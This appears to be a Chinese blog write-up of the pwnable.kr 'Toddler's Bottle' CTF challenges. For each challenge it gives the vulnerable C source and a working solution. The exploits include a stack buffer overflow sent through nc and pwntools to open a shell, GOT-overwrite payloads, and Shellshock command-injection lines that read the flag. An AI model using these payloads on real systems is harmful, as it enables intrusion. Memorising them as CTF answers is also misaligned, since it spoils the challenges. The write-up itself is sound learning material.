Pwnable之[Toddler’s Bottle]

Pwn挑战地址

1.fd

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){if(argc<2){printf("pass argv[1] a number\n");return 0;}int fd = atoi( argv[1] ) - 0x1234;int len = 0;len = read(fd, buf, 32);if(!strcmp("LETMEWIN\n", buf)){printf("good job :)\n");system("/bin/cat flag");exit(0);}printf("learn about Linux file IO\n");return 0;}

重要函数:
重要函数:read
ssize_t read(int fd,void * buf ,size_t count);

2.collision

先SSH到题目地址:
ssh col@pwnable.kr -p2222 (pw:guest)

发现有三个文件,只有一个是当前用户可执行的,查看col.c源码:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){int* ip = (int*)p;int i;int res=0;for(i=0; i<5; i++){res += ip[i];}return res;
}int main(int argc, char* argv[]){if(argc<2){printf("usage : %s [passcode]\n", argv[0]);return 0;}if(strlen(argv[1]) != 20){printf("passcode length should be 20 bytes\n");return 0;}if(hashcode == check_password( argv[1] )){system("/bin/cat flag");return 0;}elseprintf("wrong passcode.\n");return 0;
}

分析函数,是要你输入20个字符串,进入chack函数。
在chack函数中把这个字符串分成5份int,相加等于0x21DD09EC。

重点分析:
一个int变量4个字节。把hashcode变量5份共20个字节,再将这5个字节加起来不就等于hashcode了吗?

开始计算:
0x21=4*0x08+0x01
0xDD=4*0x33+0x11
0x09=4*0x02+0x01
0xEC=4*0x33+0x20
0x21DD09EC=4*0x08330233+0x0111120
测试一下–

没问题~
开始尝试输入:


好奇怪,不知道为什么不成功?
xargs 是一种输入命令,默认为echo,即以一行输入。

换一种思路:

按这个输入一下看看:
拿到flag:

也可以这样:

话说:为什么前面那个不行0 0.
以后再来看看~

3.bof

nc pwnable.kr 9000 进入
按照题目下载了源代码和执行程序
源代码如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme);   // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}

分析一下:
主要是在func这个函数,一开始进入参数的key为0xdeadbeef,然后定义一个char32数组overflowme,然后输入这个数组,当判断key为0xcafebabe时得到flag,很明显,这是要用到栈溢出漏洞去替换掉key地址的值。

突破点:

gets()函数存在漏洞,它对输入的字符串长度没有进行检验,超过数组长度时它就只取数组长度,超过的部分会替换掉下面的地址。

思路:
先获取到func函数地址,key参数的地址,最后计算出gets函数输入地址与key地址的相差,需要多少个字符填充。

用IDA打开分析:

进入函数,ebp-2C为可以地址,ebp+8为gets的输入地址。二者相差52。
尝试填充52个A,在把0xCAFEBABE
try it:

出错~

编译时,应该是启用了linux的canary作溢出保护。不过这个保护机制是当函数返回的时候才会被触发,而system已经被执行了,因此无法即使阻止。

百度了一下:
命令:

(python -c 'print("a"*52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))'; cat) | nc pwnable.kr 9000

PS:不大明白cat的作用是什么,但是如果不用的话,就会被canary检测到溢出,从而程序被中止,无法获取shell。

然后就反弹了shell。。。

再看看可不可以用pwntool来。

pwntool:

使用简介可以参考这个:
http://www.91ri.org/14382.html

代码:

from pwn import *pwn_socket=remote('pwnable.kr',9000)//socket连接目标
pwn_socket.sendline('A' * 52 + '\xbe\xba\xfe\xca')//以自动换行的形式发送数据
pwn_socket.interactive()//交互,即反弹shell

结果如图所示:

4.flag

IDA分析,发现代码有点混乱。。。猜测是加壳了。
用查壳工具看了下,发现是UPX壳。
这个就简单了。
直接下载一个UPX脱客工具拖壳。
或者使用kali的UPX命令脱壳。。。
命令:
upx -d flag -o deflag
然后就可以在IDA里找到flag字符串了。

5.passcode

ssh登入后找到漏洞代码:

#include <stdio.h>
#include <stdlib.h>  void login(){  int passcode1;  int passcode2;  printf("enter passcode1 : ");  scanf("%d", passcode1);  fflush(stdin);  // ha! mommy told me that 32bit is vulnerable to bruteforcing :)  printf("enter passcode2 : ");  scanf("%d", passcode2);  printf("checking...\n");  if(passcode1==338150 && passcode2==13371337){  printf("Login OK!\n");  system("/bin/cat flag");  }  else{  printf("Login Failed!\n");  exit(0);  }
}  void welcome(){  char name[100];  printf("enter you name : ");  scanf("%100s", name);  printf("Welcome %s!\n", name);
}  int main(){  printf("Toddler's Secure Login System 1.0 beta.\n");  welcome();  login();  // something after login...  printf("Now I can safely trust you that you have credential :)\n");  return 0;
}  

这段代码的存在scanf误用,scanf缺少&.所以输入的passcode1,passcode2,甚至name都是替换地址的。
所以:
可以看看可不可以替换地址,从而直接执行system。
通过objdump,可以得到name的地址为-0x70(%ebp),passcode1为-0x10(%ebp),passcode2为-0xc(%ebp)。因为在welcome中,只接收了一个100个字符的输入。
因此,只能给passcode1赋值,无法直接改变passcode2。于是直接修改passcode1和passcode2的值,满足if条件,是不可行的了。
看了其他大佬的writup:
想法1:
让代码直接跳转到system(“/bin/cat flag”);但是又不能直接修改eip,这时想到了修改GOT表,直接把下一个要执行的函数地址改成输出flag的代码的起始地址,通过objdump找到system(“/bin/cat flag”);代码起始地址:

 80485ce:   81 7d f4 c9 07 cc 00    cmpl   $0xcc07c9,-0xc(%ebp)80485d5:   75 1a                   jne    80485f1 <login+0x8d>80485d7:   c7 04 24 a5 87 04 08    movl   $0x80487a5,(%esp)80485de:   e8 6d fe ff ff          call   8048450 <puts@plt>80485e3:   c7 04 24 af 87 04 08    movl   $0x80487af,(%esp)80485ea:   e8 71 fe ff ff          call   8048460 <system@plt>

可以看到起始地址为0x80485e3。scanf下一句代码是fflush(stdin); 同样用objdump找到fflush的GOT表地址:

08048430 <fflush@plt>:8048430:       ff 25 04 a0 04 08       jmp    *0x804a0048048436:       68 08 00 00 00          push   $0x8804843b:       e9 d0 ff ff ff          jmp    8048410 <_init+0x30>

GOT表项地址为0x804a004 。最终构造shellcode输入:

python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "134514147\n"' | ./passcode

134514147为0x80485e3的十进制数值(因为 %d是取出整数),得到flag。
想法2:
通过修改plt,引导exit的调用到system处,就可以执行了。(在C中,当程序需要调用library中的函数时,程序会到plt中去寻找跳转的地址。
例如,在本例中,执行exit的语句为call 0x8048480

python -c "print('a'*96 + chr(0x18) + chr(0xa0) + chr(0x04) + chr(0x08) + '134514147')" | ./passcode

6.random

代码:

#include <stdio.h>  int main(){  unsigned int random;  random = rand();        // random value!  unsigned int key=0;  scanf("%d", &key);  if( (key ^ random) == 0xdeadbeef ){  printf("Good!\n");  system("/bin/cat flag");  return 0;  }  printf("Wrong, maybe you should try 2^32 cases.\n");  return 0;
}  

学过C语言的都知道rand是伪随机。
使用rand时,如果不提供一个随机种子,除了最开始的是随机的,之后产生的都是第一次一样的结果。
那么思路就很清晰了:
找到random,然后^0xdeadbeef就是key了,然后获得flag。
因此,用objdump找到printf前的地址<已经执行过rand的>,gdb运行这个文件,在打下断点,打印出random的值为0x6b8b4567。

0x6b8b4567^0xdeadbeef=3039230856,就是key了。
然后获得flag。

7.input

先看代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>int main(int argc, char* argv[], char* envp[]){printf("Welcome to pwnable.kr\n");printf("Let's see if you know how to give input to program\n");printf("Just give me correct inputs then you will get the flag :)\n");// argvif(argc != 100) return 0;if(strcmp(argv['A'],"\x00")) return 0;if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;printf("Stage 1 clear!\n"); // stdiochar buf[4];read(0, buf, 4);if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;read(2, buf, 4);if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;printf("Stage 2 clear!\n");// envif(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;printf("Stage 3 clear!\n");// fileFILE* fp = fopen("\x0a", "r");if(!fp) return 0;if( fread(buf, 4, 1, fp)!=1 ) return 0;if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;fclose(fp);printf("Stage 4 clear!\n"); // networkint sd, cd;struct sockaddr_in saddr, caddr;sd = socket(AF_INET, SOCK_STREAM, 0);if(sd == -1){printf("socket error, tell admin\n");return 0;}saddr.sin_family = AF_INET;saddr.sin_addr.s_addr = INADDR_ANY;saddr.sin_port = htons( atoi(argv['C']) );if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){printf("bind error, use another port\n");return 1;}listen(sd, 1);int c = sizeof(struct sockaddr_in);cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);if(cd < 0){printf("accept error, tell admin\n");return 0;}if( recv(cd, buf, 4, 0) != 4 ) return 0;if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;printf("Stage 5 clear!\n");// here's your flagsystem("/bin/cat flag");    return 0;
}

这是一道考验linux基础的题。说实话,这题我卡了好久。
本来是想不按套路搞定,就是直接跳到system那段代码或者是直接gdb调试一直跳过return ,理论来说是可以的可是一直搞不定,本来想寒假搞定的,结果由于各种事一直没耐下心来搞。
终于在寒假的最后一天还是觉得按题目意思走(也是就是看大佬的writeup)~ ~。

首先,我们看代码的第一步:

// argv  输入if(argc != 100) return 0;if(strcmp(argv['A'],"\x00")) return 0;if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;printf("Stage 1 clear!\n"); 

要你输入100个字符,其中argv[]就是数组,argv[‘A’]应该就是其中的一个单元可能是代表argv[65]=”\x00”。argv[‘B’]=”\x20\x0a\x0d”。这不都是可视的符号。
\x0a是换行符的16进制,\x0d代表回车。
如果是windows可以用WinHex改再重输入,但是如果是linux的话,而且没有办法把改后的文件倒进来,又卡了。所以还是瞄了下大佬的。
说是要用linux的一个函数execve,在 unistd.h中。
execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数。

int execve(const char * filename,char * const argv[ ],char * const envp[ ]);

execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

具体的可以看这个
https://baike.baidu.com/item/execve/4475693?fr=aladdin

现在是要找一个有写权限的文件路径。
找到在input2@ubuntu:/var/tmp$

编辑一个c程序:

#include "stdio.h"
#include "unistd.h"int main()
{char *argv[101] = {[0 ... 99] = "A", NULL};argv['A'] = "\x00";argv['B'] = "\x20\x0a\x0d";execve("/home/input2/input", argv, NULL);return 0;
}

因为execve参数说明那里是用指针数组传递并以空指针NULL结束,所以前面100个A,加一个NULL

运行如下图:

OK!~第一步结束。

第二步:

 // stdio  用管道重定向该进程的标准输入char buf[4];read(0, buf, 4);//从标准输入中读if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;read(2, buf, 4);//从标准错误输出中读if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;printf("Stage 2 clear!\n");

不仅要在标准输入中读取”\x00\x0a\x00\xff”,也要在标准错误中读取”\x00\x0a\x02\xff”,两个不一样而时间差很小。那应该要有一个子程序和
管道重定向,那就是要用到操作系统的管道了。
在操作系统的实验课上有打过,不过有点忘了。
看大佬的复习下~
http://blog.csdn.net/oguro/article/details/53841949

重点是要用到int pipe(int filedes[2]);
pipe()会建立管道,filedes[0]为管道里的读取端,filedes[1]则为管道的写入端。父子进程可通过此通信。
和int dup2(int oldhandle, int newhandle);
文件句柄的重定向。
以下是利用代码:

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
int main()
{//Stage 1char *argv[101] = {[0 ... 99] = "A", NULL};char *env[2]={"\xde\xad\xbe\xef=\xca\xfe\xba\xbe",NULL};argv['A'] = "\x00";argv['B'] = "\x20\x0a\x0d";//Stage 2  int stdin[2];  //标准输入int stderr[2]; //标准错误pid_t pid;  // 创建两个管道  if (pipe(stdin)<0 || pipe(stderr)<0){  perror("Cannot create the pipe");  exit(1);  }  // 创建子进程  if ((pid = fork()) < 0) {  perror("Cannot fork");  exit(1);  }  // 判断当前在子进程还是父进程  if (pid == 0){  /*  子进程 */  // 首先关闭管道的读取端  close(stdin[0]);  close(stderr[0]);  // 写入  write(stdin[1], "\x00\x0a\x00\xff", 4);  write(stderr[1], "\x00\x0a\x02\xff", 4);  }else{  /* 父进程 */  // 首先关闭管道的写入端  close(stdin[1]);  close(stderr[1]);  // 分别读取到stdin和stderr  dup2(stdin[0], 0); //将srdin[0]重定向到标准输入dup2(stderr[0], 2); //将srderr[0]重定向到标准错误输入close(stdin[0]);  close(stderr[0]);  execve("/home/input2/input", argv, NULL);}return 0;
}

运行可以看到:


第二步成功~

第三步:

// envif(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;printf("Stage 3 clear!\n");

getenv() 是从环境中取字符串,获取环境变量的值。
详细可看这个:
https://baike.baidu.com/item/getenv/935515?fr=aladdin
要求”\xde\xad\xbe\xef”这个位置的环境变量等于”\xca\xfe\xba\xbe”
这时我们可以回想起来execve()的最后一个参数则为传递给执行文件的新环境变量数组。
这就可以自定义了。

详细如下:

再加上
execve(“/home/input2/input”, argv, evn);
就可以了。
运行如下:

咦?我怎么第四关都过了?

第四关:

// fileFILE* fp = fopen("\x0a", "r");if(!fp) return 0;if( fread(buf, 4, 1, fp)!=1 ) return 0;if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;fclose(fp);printf("Stage 4 clear!\n"); 

文件的写入。
首先要知道fread的含义。
函数名: fread
功 能: 从一个流中读数据
用 法: int fread(void *ptr, int size, int nitems, FILE *stream);
参 数:用于接收数据的地址(ptr)
单个元素的大小(size)
元素个数(nitems)
提供数据的文件指针(stream)
返回值:成功读取的元素个数

那么就创建一个”\x0a”。(我知道前面为什么能过了,别人创建过了)
代码如下:
FILE* fp = fopen(“0x0a”, “w”);
fwrite(“\x00\x00\x00\x00”, 4, 1, fp);
fclose(fp);
运行后没有问题~第四关结束。

最后一关:

// networkint sd, cd;struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0);// 新建套接字 if(sd == -1){printf("socket error, tell admin\n");return 0;}/*接下来设置一些关键参数*/saddr.sin_family = AF_INET; //AF_INET(又称PF_INET)是IPv4网络协议的套接字类型 saddr.sin_addr.s_addr = INADDR_ANY;// 监听所有地址:即0.0.0.0 saddr.sin_port = htons( atoi(argv['C']) ); // 设置监听端口,htons()--"Host to Network Short"://主机字节序转化为网络字节序  // atoi把字符串转换成整型数 if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){printf("bind error, use another port\n");return 1;}// 绑定端口(将套接字和指定的端口相连) listen(sd, 1);// 监听 int listen(int sock_fd, int backlog); sock_fd 是socket()函数返回值;backlog指定在请求队列中允许的最大请求数 int c = sizeof(struct sockaddr_in);cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);//用于接受客户端的服务请求,成功返回新的套接字描述符,失败返回-1,并置errno。 参数说明: sock_fd是被监听的socket描述符,  addr通常是一个指向sockaddr_in变量的指针,    addrlen是结构sockaddr_in的长度。  if(cd < 0){printf("accept error, tell admin\n");return 0;}if( recv(cd, buf, 4, 0) != 4 ) return 0;//ssize_t recv(int sockfd, void *buff, size_t nbytes, int flags);  //返回读入的字节数,要读入4个字节,并为\xde\xad\xbe\xef  if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;printf("Stage 5 clear!\n");

要求我们要写一个socket客户端,发送”\xde\xad\xbe\xef”才行。

代码如下:

// Stage 5  // 等待程序前面的东西执行玩  sleep(2);  int sockfd;  argv['C']="23456";struct sockaddr_in server;  sockfd = socket(AF_INET, SOCK_STREAM, 0);  if (sockfd < 0){  perror("Cannot create the socker");  exit(1);  }  // 设置地址和端口,与argv['C']相对应就行  server.sin_family = AF_INET;  server.sin_addr.s_addr = inet_addr("127.0.0.1");  server.sin_port = htons(23456);  // 连接本地的服务器  if (connect(sockfd, (struct sockaddr*) &server, sizeof(server)))    {  perror("Problem connecting");  exit(1);  }  printf("Connected\n");  // 向服务器写数据  char buf[4] = "\xde\xad\xbe\xef";  write(sockfd, buf, 4);  close(sockfd);

char *argv[101] = {[0 … 99] = “A”, NULL};
char *env[2]={“\xde\xad\xbe\xef=\xca\xfe\xba\xbe”,NULL};

8.leg

leg源程序代码:
http://pwnable.kr/bin/leg.c

#include <stdio.h>
#include <fcntl.h>
int key1(){asm("mov r3, pc\n");
}
int key2(){asm("push   {r6}\n""add    r6, pc, $1\n""bx r6\n"".code   16\n""mov    r3, pc\n""add    r3, $0x4\n""push   {r3}\n""pop    {pc}\n"".code  32\n""pop    {r6}\n");
}
int key3(){asm("mov r3, lr\n");
}
int main(){int key=0;printf("Daddy has very strong arm! : ");scanf("%d", &key);if( (key1()+key2()+key3()) == key ){printf("Congratz!\n");int fd = open("flag", O_RDONLY);char buf[100];int r = read(fd, buf, 100);write(0, buf, r);}else{printf("I have strong leg :P\n");}return 0;
}

先看main逻辑。
要你输入一个key,只要等于key1()+key2()+key3()就可以获得flag
key1()、key2()、key3()里面的代码是ARM汇编代码。
这个有点像x86的汇编,但有一些区别。
具体可以看这位大佬的。
ARM状态结构小记
http://blog.csdn.net/qq_19550513/article/details/62038580
ARM寄存器结构小记
http://blog.csdn.net/qq_19550513/article/details/62044295

总结:
ARM属于RISC指令集,不同于 x86 CISC指令集的堆栈传参,ARM 在函数调用时倾向于寄存器传参。一般地,当参数不超过4个时,系统会使用 R0-R4 寄存器进行参数传递,超过四个才会借助堆栈。

ARM的PC永远指向当前执行指令之后的第二条指令,即处于流水线取指阶段的指令,而 x86 的 PC 指向的是当前执行的指令。

调用子函数也和 x86 不同,x86下是使用 CALL 指令,ARM下是使用 BL (带链接跳转,即当前执行指令的下一条指令保存到 R14,并跳转,进入子函数后会将 R14 的值入栈)指令。

关于返回值,x86 使用 EAX 寄存器传递返回值,ARM 使用 R0 传递返回值。

掌握上述基础知识后,这题就迎刃而解了。

分析key1()

int key1(){asm("mov r3, pc\n");
}


将pc赋值给r3,pc当前为0x00008cdc+8,将r3赋值给r0,返回r0。

所以key1()=0x00008cdc+8=36060+8=36068

分析key2()

int key2(){asm("push   {r6}\n""add    r6, pc, $1\n""bx r6\n"".code   16\n""mov    r3, pc\n""add    r3, $0x4\n""push   {r3}\n""pop    {pc}\n"".code  32\n""pop    {r6}\n");
}


值得注意是,在将pc赋值给r3前,
从前面那个大佬的ARM状态结构小记中可以看出:
bx r6是使得程序进入thumb模式。
在thumb模式下pc =当前+下一个指令地址
即:pc=pc+4。
所以r3=0x00008d04+4
然后adds r3 ,#4 –> r3=r3+4
所以返回的r0=r3=0x00008d04+4+4=36100+8=36108

分析key3()

int key3(){asm("mov r3, lr\n");
}


百度了下:
在ARM体系结构中LR的特殊用途有两种:一是用来保存子程序返回地址;二是当异常发生时,LR中保存的值等于异常发生时PC的值减4(或者减2)
既然是返回地址,那就要在(gdb) main里面找了。

返回地址是0x00008d80
所以kye3()=0x00008d80=36224.
所以key=key1()+key2()+key3()=36068+36108+36224=108400
get falg~

9.mistake

先把代码翻译了一下,如下:

#include <stdio.h>
#include <fcntl.h>#define PW_LEN 10
#define XORKEY 1void xor(char* s, int len){int i;for(i=0; i<len; i++){s[i] ^= XORKEY;}
}#讲字符串的前len位,每位与1异或int main(int argc, char* argv[]){int fd;if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){printf("can't open password %d\n", fd);return 0;}#以权限400只读的方式打开password,不成功则输出并退出printf("do not bruteforce...\n");#不要暴力破解 --?sleep(time(0)%20);#无线循环?#等待文件打开char pw_buf[PW_LEN+1];#char pw_buf[11]int len;if(!(len=read(fd,pw_buf,PW_LEN) > 0)){printf("read error\n");close(fd);return 0;       }#读取打开文件password里的10个字节,保存在pw_buf数组里。如果文件里的字符多于10个,则读取失败,文件退出。char pw_buf2[PW_LEN+1];#char pw_buf2[11]printf("input password : ");scanf("%10s", pw_buf2);#读取输入的前10个字符给pw_buf2// xor your inputxor(pw_buf2, 10);#将输入的前世个字符串每个与1进行异或if(!strncmp(pw_buf, pw_buf2, PW_LEN)){printf("Password OK\n");system("/bin/cat flag\n");}#对比前十位的pw_buf和pw_buf2,如果相等就得到flagelse{printf("Wrong Password\n");}close(fd);return 0;
}

很明显,题目的意思是要你获得password的flag,然后再每个与1异或后获得输入的password,得到flag。
那么很简单了,用objdump 找到 “printf(“input password : “);”这句代码的地址。将断点放置在这个位置,然后输出内存pw_buf中保存的password就好了。
结果出了问题,直接运行的话会出现无限等待。
gdb调试的话会打开password失败

换一种思路,将断点断在open上看看。
成功。。。于是我得到了这个。

猜测password=2147483626
写个python将它每个位与1异或。

s="2147483626"
n=""
for i in range(0,len(s)):k=ord(s[i])-ord('0')k=k^1n=n+str(k)
print n

得到3056592737。。。
等下。。。问题来了,,,直接运行./mistake时会出现无线循环。。。
下一步。。
尝试用set $pc 设置下一个执行地址,设置到scanf前面,结果虽然可以输入,但是还是出错。。。
。。。
好了,研究下大佬的writeup

好吧,前面的猜想全部错了。。。
sleep(time(0)%20);不是无线循环,而是单纯的等待(想多了伐~)
问题出现在
if 判断里面->>
fd=open(“/home/mistake/password”,O_RDONLY,0400) < 0
我前面以为是打开password。。。
结果并不是,因为‘<’的优先级比‘=’高。。
所以他是先打开成功,返回一个正数,判断正数<0,返回flase。
也就是0,即fd=0。
那么read(fd,pw_buf,PW_LEN)就是
read(0,pw_buf,PW_LEN),在标准输入流里获取前10位bit进入到pw_buf
那么这题就很简单了,pw_buf和pw_buf2 都是我们输入的,那就随便输入一个pw_buf^1=pw_buf2好了。
最简单的有00000000001111111111
为了对得起前面的猜想,就用21474836263056592737
拿到flag ~

10.shellcode

代码:

#include <stdio.h>
int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c 'echo shock_me'");return 0;
}

意思是暂时获得root的权限,
然后用bash执行echo shock_me。

百度查了下shellcode:
漏洞编号CVE-2014-6271,以及打了补丁之后被绕过的CVE-2014-7169,又称ShellShock漏洞。

这是一个关于它的复现实验:
https://www.cnblogs.com/zorigul/p/4520677.html
这是参考的原理分析:
https://yq.aliyun.com/articles/53608

漏洞起因:
要是用一句话概括这个漏洞,就是代码和数据没有正确区分。
漏洞很像SQL注入,通过特别设计的参数使得解析器错误地执行了参数中的命令。
常用的测试语句是

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果同时打出vulnerable和echo this is a test,表示存在漏洞。

这个语句原本的意图是使用env命令创建一个临时环境x,然后在里面执行一个bash命令。结果由于bash处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。

这题只用root才有权限获得flag,所以要用到shellshock
漏洞利用:

 env var='() { :;};  cat flag' ./shellshock或者env x='() { :;};  /bin/cat flag' ./shellshock

利用shellshock的临时root权限执行cat flag 命令。

Pwnable之[Toddler's Bottle](一)相关推荐

  1. Pwnable之[Toddler's Bottle](三)--unlink

    Pwnable之[Toddler's Bottle](三)–unlink 提示:how can I exploit unlink corruption 我该怎么利用断腐败??? 其实就是如何利用chu ...

  2. Pwnable之[Toddler's Bottle](三)--memcpy

    Pwnable之[Toddler's Bottle](三)–memcpy 提示是: Are you tired of hacking?, take some rest here. Just help ...

  3. Pwnable之[Toddler's Bottle](三)--UAF

    Pwnable之[Toddler's Bottle]–UAF UAF,use-after-free 顾名思义,就是释放过内存的重利用. 根据操作系统里的内存分配就知道,当分配给的一个代码释放后,如果再 ...

  4. Pwnable之[Toddler's Bottle](三)--asm

    Pwnable之[Toddler's Bottle](三)–ASM 提示:我觉得一个黑客应该知道怎么做shellcode 查看代码asm.c的代码 #include <stdio.h> # ...

  5. Pwnable之[Toddler's Bottle](二)

    Pwnable之[Toddler's Bottle](2) Pwn挑战地址 11.coin1 nc 连上. 要你玩一个游戏,游戏的规则是: 你手里拿了几枚金币. 然而,其中有一枚假币. 假币和真币一模 ...

  6. pwnable.rk [Toddler‘s Bottle]  5、passcode 详细过程

    最近在学习pwn,做到这个题搜了一些资料,弄了挺长时间,记录一下. passcode.c代码如下: #include <stdio.h> #include <stdlib.h> ...

  7. pwnable.kr [Toddler's Bottle] - uaf

    Mommy, what is Use After Free bug? ssh uaf@pwnable.kr -p2222 (pw:guest) 根据提示已经可以知道这里需要我们利用漏洞Use-Afte ...

  8. pwnable 笔记 Toddler's Bottle - passcode

    注: 这题涉及到了GOT覆写技术,我更新了一篇讲GOT覆写的文章,以这道题做的例子,讲的比较详细,大家可以参考一下: http://blog.csdn.net/smalosnail/article/d ...

  9. pwnable.kr |Toddler's Bottle |fd

    多次比赛在pwn上面被花式吊打了,最近来学习点pwn的相关知识吧,以外得到一个网站pwnable.kr.提供了各式各样的环境让我们去练习,我自己也将练习的过程和心得体会在博客上一一记录吧.以下是入门题 ...

最新文章

  1. 税友报税软件让修改服务器地址,税友报税软件让修改服务器地址
  2. 软考网络工程师身份证忘记领取啦怎么办
  3. Vertica的这些事lt;十二gt;—— vertica存储统计信息
  4. 《超越需求:敏捷思维模式下的分析》—第1章 1.1节简介
  5. pandas series取值_【小学生级】pandas入门到精通备查表——AI未来系列3
  6. git远程仓库中master及其余分支间代码的合并
  7. aws cloud map_Amazon EC2 – AWS Elastic Compute Cloud
  8. 软件评测师考试通过啦
  9. Android常用抓包工具—Charls(青花瓷)
  10. froglt教你使用色相环配色(原创理论)
  11. 天梯赛L2-016 愿天下有情人都是失散多年的兄妹
  12. 北京小米Java有笔试吗_小米校招笔试题(java)
  13. php 足迹 表设计,成长的足迹设计方案
  14. Failed to start LSB: Bring up/down错误解决方法
  15. 操作数据库方法总结1——JDBC、连接池与JDBCTemplate
  16. 支持nfc的android手机,NFC手机有哪些 2017支持NFC功能的手机推荐 (5)
  17. APP被苹果App Store拒绝的N个原因
  18. 数字组合(算法竞赛进阶指南)
  19. 网狐子游戏二人牛牛机器人不起作用的解决办法
  20. mipi摄像头linux,VS-RK3399 在linux系统下面调试Mipi camera接口介绍

热门文章

  1. 人工智能会引发失业潮吗?
  2. 汽车无钥匙进入系统原理是什么
  3. 一周上线百万高并发系统!你给我解释解释什么叫牛逼?
  4. 37.Django中设置获取和删除cookie
  5. java游戏super赛亚人传说,龙珠激斗之赛亚人传说
  6. 苹果x手机测试网速什么软件最好,苹果iPhone XS上网速度深度测评报告,结果竟然是...
  7. quartz配置文件设置不当导致报错
  8. centos 内核升级
  9. 程序员秒懂的6个梗,其实做程序员和买橘子是一样的
  10. 又碰到傻逼中介。。。